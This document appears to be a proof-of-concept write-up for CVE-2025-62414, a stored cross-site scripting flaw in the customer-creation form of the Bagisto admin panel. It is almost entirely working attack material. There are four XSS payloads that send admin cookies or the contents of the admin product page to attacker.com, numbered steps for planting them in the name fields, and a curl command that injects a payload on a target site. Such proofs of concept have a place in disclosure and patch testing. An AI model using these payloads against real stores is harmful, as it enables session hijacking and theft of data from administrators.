CVE-2025-62414：Bagisto创建客户功能存储型XSS漏洞

<!-- CVE-2025-62414 - Bagisto Stored XSS PoC --> <!-- This PoC demonstrates the stored XSS vulnerability in the "Create New Customer" feature --> <!-- Step 1: Attacker logs into Bagisto admin panel --> <!-- Step 2: Navigate to Customers > Create New Customer --> <!-- Step 3: Inject malicious payload into the "First Name" or "Last Name" field --> <!-- Payload 1: Basic cookie stealing --> <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> <!-- Payload 2: Image tag with onerror handler (bypasses some filters) --> <img src=x onerror="fetch('https://attacker.com/log?data='+btoa(document.cookie))"> <!-- Payload 3: SVG-based XSS --> <svg onload="new Image().src='https://attacker.com/x?c='+document.cookie"> <!-- Payload 4: Admin action hijacking --> <script> fetch('/admin/catalog/products', {method: 'GET'}) .then(r => r.text()) .then(data => { fetch('https://attacker.com/exfil', { method: 'POST', body: data }); }); </script> <!-- Step 4: Submit the form - payload is stored in database --> <!-- Step 5: When another admin views the customer list/details page, the payload executes --> <!-- cURL example to create a customer with XSS payload --> curl -X POST 'https://target.com/admin/customers/create' \ -H 'Cookie: admin_session=<admin_session_cookie>' \ -d 'first_name=<img src=x onerror=alert(1)>&last_name=Test&[email protected]&password=Password123!'